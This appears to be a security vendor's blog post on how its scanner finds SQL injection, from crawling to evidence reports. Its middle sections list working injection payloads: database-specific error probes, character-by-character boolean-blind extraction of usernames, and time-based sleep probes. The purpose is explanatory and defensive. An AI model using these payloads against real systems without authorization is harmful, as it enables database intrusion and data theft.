SQL Injection (OWASP A03) remains one of the most damaging vulnerability classes. A single exploitable injection point can mean full database exfiltration, authentication bypass, or remote code execution. Yet detection requires more than running a scanner — it requires understanding the full pipeline from asset discovery to proof-of-exploitability.
This post explains exactly how PentestCheck's injection detection works end-to-end.
Phase 1: Surface Discovery
Before we can test for SQL injection, we need to find every input vector in the target application. This is the crawler's job.
The Advanced Web Crawler operates in three layers:
Layer 1: Link Extraction Parses every HTML response for anchor tags, form actions, script sources, and CSS imports. Follows internal links recursively up to the configured depth.
Layer 2: JavaScript Execution Renders pages in a headless browser to execute JavaScript. Client-side routers (React, Vue, Angular) generate URLs dynamically — static HTML parsing misses them. JavaScript execution discovers:
- SPA routes constructed by the frontend router
- AJAX endpoints called on page load
- API calls made from event handlers (extracted via network interception)
Layer 3: Form Enumeration For every discovered form:
- Identifies all input fields and their types
- Records autocomplete attributes and placeholder text (these often hint at database column names)
- Identifies the form submission method (GET vs POST) and endpoint
- Notes hidden fields and CSRF tokens
The output is a structured parameter map:
{
"url": "/api/v1/products/search",
"method": "POST",
"parameters": [
{ "name": "query", "type": "text", "location": "body" },
{ "name": "category", "type": "select", "location": "body" },
{ "name": "page", "type": "number", "location": "query" }
]
}
Phase 2: Error-Based Detection
The first injection pass uses error-based probing — injecting payloads designed to trigger database error messages that confirm a vulnerable code path.
Classic probes:
' (single quote — breaks string quoting)
'' (escaped quote — valid in some contexts)
1' (numeric context with string injection)
1 AND 1=1 (boolean — should return normal results)
1 AND 1=2 (boolean — should return empty results)
A vulnerable endpoint shows different behavior between 1 AND 1=1 (all results) and 1 AND 1=2 (no results). The difference in response content, length, or HTTP status code is the detection signal.
Database-specific probes:
-- MySQL
1 AND (SELECT 1 FROM(SELECT COUNT(*),CONCAT(0x3a,(SELECT DATABASE()),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)
-- PostgreSQL
1 AND 1=CAST((SELECT version()) AS INT)
-- MSSQL
1; WAITFOR DELAY '0:0:5'--
-- Oracle
1 AND 1=CTXSYS.DRITHSX.SN(USER,(SELECT TABLE_NAME FROM ALL_TABLES WHERE ROWNUM=1))
The database-specific probes are selected based on the HTTP fingerprinting results from the EASM phase — if we identified IIS and ASP.NET, we prioritize MSSQL probes. If nginx and PHP, we prioritize MySQL.
Phase 3: Blind Detection
If error-based probing returns no distinguishable responses (the application sanitizes errors), we escalate to blind injection techniques.
Boolean-based blind:
' AND (SELECT SUBSTRING(username,1,1) FROM users WHERE id=1)='a'--
' AND (SELECT SUBSTRING(username,1,1) FROM users WHERE id=1)='b'--
By systematically varying the comparison character and observing response differences (content length, element count, response time), we can extract data one character at a time without seeing any error output.
Time-based blind:
' AND SLEEP(5)-- -- MySQL
'; WAITFOR DELAY '0:0:5'-- -- MSSQL
' AND pg_sleep(5)-- -- PostgreSQL
If the response takes 5+ additional seconds when SLEEP(5) is injected, the injection is confirmed even if the page looks identical in both cases.
Phase 4: Context-Specific Probing
The same payload does not work in every injection context. The engine identifies the injection context and selects appropriate payloads:
| Context | Example Input | Probe Strategy |
|---|---|---|
| String value | WHERE name = 'INPUT' | Quote-based injection |
| Numeric value | WHERE id = INPUT | No-quote injection |
| ORDER BY clause | ORDER BY INPUT | Column injection |
| LIKE clause | WHERE name LIKE '%INPUT%' | Wildcard injection |
| IN clause | WHERE id IN (INPUT) | Comma-based injection |
| Subquery | WHERE id = (SELECT INPUT) | Subquery injection |
Context detection uses response analysis — we inject simple arithmetic operators and observe whether the application treats the input as a string or a number.
Phase 5: Evidence Generation
A detected injection is only a finding if it comes with reproducible evidence. For each confirmed injection point, PentestCheck generates:
- Request/Response pair: The exact HTTP request that triggered the vulnerability, and the response demonstrating the difference
- Payload used: The specific injection string, with annotation explaining why it confirms exploitability
- Extracted data preview: For confirmed injections, a limited, non-sensitive data extraction to prove exploitability (e.g., database version, first table name)
- CVSS score: Calculated based on whether exploitation requires authentication, network access, and complexity
The finding report format:
Finding: SQL Injection — /api/v1/products/search (parameter: query)
Severity: CRITICAL (CVSS 9.8)
Type: Error-based / Boolean-based blind
Database: MySQL 8.0.32
Proof:
Request A (true condition):
POST /api/v1/products/search
query=test' AND 1=1--
→ Response: 200 OK, 1,847 bytes, 12 products returned
Request B (false condition):
POST /api/v1/products/search
query=test' AND 1=2--
→ Response: 200 OK, 312 bytes, 0 products returned
Evidence: Differential response of 1,535 bytes confirms Boolean-based injection.
Database fingerprint: MySQL 8.0.32 (extracted via VERSION() function)
Phase 6: Deduplication and Noise Reduction
Complex applications can have 50+ input parameters. Without deduplication, injection testing generates thousands of individual tests that overwhelm security teams with redundant findings.
PentestCheck deduplicates by:
- Grouping findings by the underlying database query (not the URL) — multiple routes calling the same stored procedure are one finding
- Normalizing endpoint patterns —
/products/1/detailsand/products/2/detailsare the same template - Prioritizing confirmed-exploitable over suspected-vulnerable
The result: one actionable finding per unique vulnerable code path, with evidence attached.
Every PentestCheck scan runs the full injection detection pipeline — crawl, detect, validate, evidence. Findings are CVE-mapped and actionable from day one.